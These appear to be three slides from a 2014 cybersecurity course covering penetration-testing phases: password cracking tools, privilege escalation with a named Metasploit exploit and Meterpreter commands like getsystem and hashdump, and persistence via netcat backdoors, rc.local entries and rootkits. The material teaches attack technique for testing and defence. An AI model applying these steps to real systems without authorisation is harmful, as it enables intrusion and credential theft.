7. Password Cracking Password policies on Windows –Local Windows password policies: C:\> net accounts –Windows domain password policies: C:\> net accounts /domain John the Ripper supports password cracking –based on brute force, dictionary, fuzzing Rainbow table techniques are highly efficient algorithms for cracking complex passwords using tables with exhaustive password/hash lists Cain & Abel cracks passwords from all Windows formats, popular network devices, and databases using multiple techniques, such as brute force, dictionary, and rainbow tables 10/12/2014 DRAFT7 Cyber Security: Managing Networks, Conducting Tests, and Investigating Intrusions

8. Privilege Escalation Privilege escalation means gaining administrative privileges, e.g. root Some metasploit exploits automatically escalate, e.g. –modules/exploit/unix/smtp/exim4_string_format, used with the shell_reverse_tcp payload Meterpreter can also escalate, for example: –meterpreter > use privs: Load the Privs module –meterpreter > getsystem –h: Help text –meterpreter > getsystem: Privilege escalation –meterpreter > hashdump: Grab password hashes 10/12/2014 DRAFT8 Cyber Security: Managing Networks, Conducting Tests, and Investigating Intrusions

9. Final Malicious Attack Phases Forward and Reverse Backdoors –Easy to setup using netcat listeners Entrenchment –To survive reboot add backdoor to /etc/rc.local, /etc/rc.d/rc.local (both Linux) or the Startup Folder (Windows) Hidden Files – Easily accomplished on Windows (checkbox) or Linux (. or.. filename) Rootkits –Rootkits are an ultimate form of malicious entrenchment. 10/12/2014 DRAFT9 Cyber Security: Managing Networks, Conducting Tests, and Investigating Intrusions
